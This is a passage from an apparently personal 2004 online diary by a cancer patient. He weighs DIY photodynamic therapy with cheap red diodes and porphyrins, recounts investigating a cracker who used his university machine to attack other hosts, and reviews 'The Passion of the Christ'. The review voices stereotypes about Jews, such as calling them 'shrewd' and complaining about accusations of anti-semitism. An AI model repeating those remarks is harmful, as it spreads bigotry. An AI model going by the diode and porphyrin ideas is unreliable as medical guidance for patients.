pretty much as we please provided we can get 'em where we need 'em.
|
|
|
|
> Maybe I was put off by the marketing technique, and the bad grammar.
|
|
|
|
...and the rather criminally obscene, marketing-oriented price tags. I
|
|
just found some good 660nm red diodes in the Farnell catalog
|
|
optoelectronics section. Peak wavelength 660 (which is 2nm out from what
|
|
the paper uses, no big deal) 500mCd intensity, 12v feed with internal
|
|
resistor - these are a budget-smashing $1.15 each. Less in bulk! Farnell
|
|
PtyLtd operates in Chester Hill, Sydney.
|
|
|
|
Class IIIa 670nm 3mW Lasers are around $500, if a fistful of diodes at
|
|
similar frequency don't take your fancy.
|
|
|
|
Check out http://www.rcdc.nd.edu/compilations/Qy/QY2.htm for lists of
|
|
porphyrins which give good yields of singlet oxygen, if that sort of thing
|
|
interests you 8-)
|
|
|
|
> Eisinger is the urologist interested in cancer and nutrition. I can give
|
|
> you a referral if you like. I'm interested in all your theories as to
|
|
> how to manage your cancer, but worry that you are spending a lot of time
|
|
> theorising, and not acshully doing anything.
|
|
|
|
Mmm. Correct. I am - yes, *defaulting* is the word, I'm sort of resigned
|
|
to carking it, actually, which permits me to be stably elsewhere,
|
|
unworried, out having a life 8-)
|
|
|
|
PET ... hmmm... suppose it could see down to 3 cells, that's several
|
|
million images to process - somehow I think not. If it could see down to
|
|
3mm, that's more plausible. The neck's already been CT'd (encapsulated
|
|
lymph node, no spread), the lump is smaller now than it was then, but
|
|
larger now than it was when FNAB'd on Jan 16th.
|
|
|
|
> Apparently Keith is trying to call me, talk later.
|
|
|
|
No worries. Catch ya later.
|
|
|
|
> Carole
|
|
|
|
;)
|
|
|
|
<predator>
|
|
--------
|
|
|
|
It must be a bugger to be a doctor when a patient is uninterested in
|
|
trying very hard to get well cos they've gone and got what appears to be a
|
|
reasonable clue about what's killing 'em.
|
|
|
|
I keep getting details-free emails about a mysterious expedition
|
|
people want me to go on but which nobody'll tell me about.
|
|
|
|
Tues. I went out to Randwick. I saw Mary who is bright as a button today
|
|
though she sez she's not well. Amazingly an old squatmate of mine, Elias,
|
|
was riding his bicycle up through Bronte and spotted me, with my helmet
|
|
and everything on... hes pretty well. We stopped on the roadside briefly
|
|
for a chat. I was wearing the leather jacket he gave me in oh, 2001. He's
|
|
riding a very nice bicycle now, and I think working as a cook, and scoring
|
|
surplus Macintrash obtainium from an abandoned hospital somewhere in the
|
|
city.
|
|
|
|
I dropped in at UNSW on the way back. The IT director Geoff Gordon wants
|
|
to hang the .. ahem ... The Cracker... out to dry, and I'm happy to help
|
|
him. I checked out the auth.logs, /var/log/messages, the syslogs, and did
|
|
a bit of benchtesting of the code which, impersonating me, he ran. But
|
|
he'd better hurry up. I'd be his star witness if the head of school and
|
|
associate Dean decide to prosecute the wanker, and I'm no good to them
|
|
dead.
|
|
|
|
The cracker was launching attacks from my machine, against port 51 on a
|
|
few machines - one in Sydney, a couple of sites in Indonesia (indo.net,
|
|
and indosat.net) and also somewhere in Germany. While the program was
|
|
running it maxed-out the hub and ate up 94% of conway's CPU. Prick. I'm
|
|
not dead sure he ever managed to get his mIRC proxy running - too hard to
|
|
configure from the command line.
|
|
|
|
|
|
While I was in the general vicinity of Randwick I picked up a photocopy of
|
|
the document I sort of, more or less, consider to be my death sentence,
|
|
the original of which came from Douglas Hanley Moir pathology. I'd left it
|
|
in the care of Dave Goldstein, who I saw six weeks ago. He also said that
|
|
in my neck was nothing but the usual kinds of cells you'd expect from a
|
|
garden variety metastatic kidney cancer. Makes me want to take up
|
|
slasn-n-burn agriculture 8-). I'm gonna wave this under the noses of the
|
|
gits at APRA. Dr Goldstein's upcoming trial starts at the end of March. I
|
|
don't know what it is yet and there's no proposal written yet. For all I
|
|
know I might be dead by the end of it.
|
|
|
|
|
|
I got home early Wednesday morning and had sharp lower left lung pains
|
|
which increased when I breathed in. I'd just finished reading Iain Banks
|
|
"The Player Of Games" (and what a twist at the end!), and this jabbing
|
|
pain happens. Probably mets invading my lungs, fuckers. When I woke up
|
|
they were gone. Cancer fucks with your head... in the sense that every
|
|
time something randomly hurts without provocation, you think, oh, it's
|
|
*there* now. Prick.
|
|
|
|
|
|
----------
|
|
|
|
Electronic iatrogenesis.
|
|
|
|
Last time I was at Turella Soz (to whom I will loan my motorcycle for the
|
|
Dykes on Bikes parade during the Mardi Gras on saturday night) gave me a
|
|
10/100mbit hub, which she felt was flaky. It was too, after running for a
|
|
long time - which is to say, it was overheated. I took it home, tested it
|
|
and yeah, it did indeed get hot and flaky. This is cos the main CPU,
|
|
something which came from the LEVEL ONE VLSI chip foundry, is heatsunk -
|
|
but inside a metal small box with no fan. I tried to pry off the heatsink
|
|
in order to replace it with some solid Al blocks to thermally couple the
|
|
chip to the case, but the damn thing peeled right off the PCB in one hit.
|
|
I am incapable of accurately soldering down 204 bent pins (a machine
|
|
soldered it all on in the first place) so I admitted defeat and tossed it.
|
|
Maybe I shouldda just drilled lotsa holes in the case. Oh well. Some, I do
|
|
lose. At least it wasn't a switch.
|
|
|
|
|
|
Passion of christ.
|
|
|
|
I went and saw this with the parents. I was gonna wear my Children Born of
|
|
Satan shirt but it dissolved last time I washed it. Yawn. I shed no tears.
|
|
And, as I remember from what I learned in Rome in 1981 as a youngster the
|
|
Romans were better anatomists than to have their soldiers go nailing
|
|
people through the hands, they'da gone through something load-supporting,
|
|
like between the radius and ulna. Mel Gibson is to be congratulated on
|
|
producing a movie which is going to damage people's brains for the
|
|
remaining period of time in which this civilisation has a functional
|
|
electricity grid. Oh, it was so realistic, it must have happened, right?
|
|
Yep. But so what? Hundreds of thousands of cambodians and vietnamese,
|
|
maimed by napalm, bomb fragments or chemically impaired by synthetic
|
|
side-product in the defoliants dropped by the Yanks on those countries in
|
|
the late 1960s, took *years* to die, painfully, of their injuries.
|
|
|
|
A Jewish mate of dad's reckons the movie is anti-semitic. Oh, for shit's
|
|
sake I'm bored of the semites complaining that their perception of
|
|
everyone who doesn't depict semites as lovable, error-free, uh...
|
|
ubermenschen is somehow anti-semitic. If anything the flick it's
|
|
anti-human-species-in-general - the romans were brutal, the semites were
|
|
shrewd, and these two things pretty much sum up the curse which is the
|
|
human condition everywhere generally to various extents. Anyway... any
|
|
bunch of people who go around saying "you're anti-us" is gonna find that
|
|
by the mere virtue of saying this the saying will become true. People get
|
|
annoyed by the accusation.
|
|
|
|
Any culture that kills people's gonna make itself unpopular eventually by
|
|
nailing some loon who claims to be a god and will make 'em more popular by
|
|
doing it. And think about it, reader. The next person you meet on the road
|
|
who claims to be Jesus Christ is, playing the odds and mis-quoting Python,
|
|
probably not even a messiah, let alone a particular messiah. Try, prime
|
|
candidate for the loony bin. You'd decide to waste the dude even more
|
|
straightforwardly as the Jews or the Romans did, who played the same
|
|
administrative buck-passing games as we do with condemned prisoners now.
|
|
|
|
Come to think of it, if you or the Romans or the Jews met the Buddha on
|
|
the road, you'd kill him too. S/he talks in riddles, is of indeterminate
|
|
gender and looks like he eats way too much.
|
|
|
|
|
|
Thurs. Mar4
|
|
|
|
This is a looonger file than the last one, mainly 'cos of the transcripts
|
|
of conversations I'm having with various people - the evidence of my
|
|
electronic life. I'm gonna trunc it and start on another one.
|
|
|
|
If you don't get the following file it's not on the server yet. Be patient
|
|
8-)
|
|
|
|
http://conway.cat.org.au/~predator/march.txt
|
|
|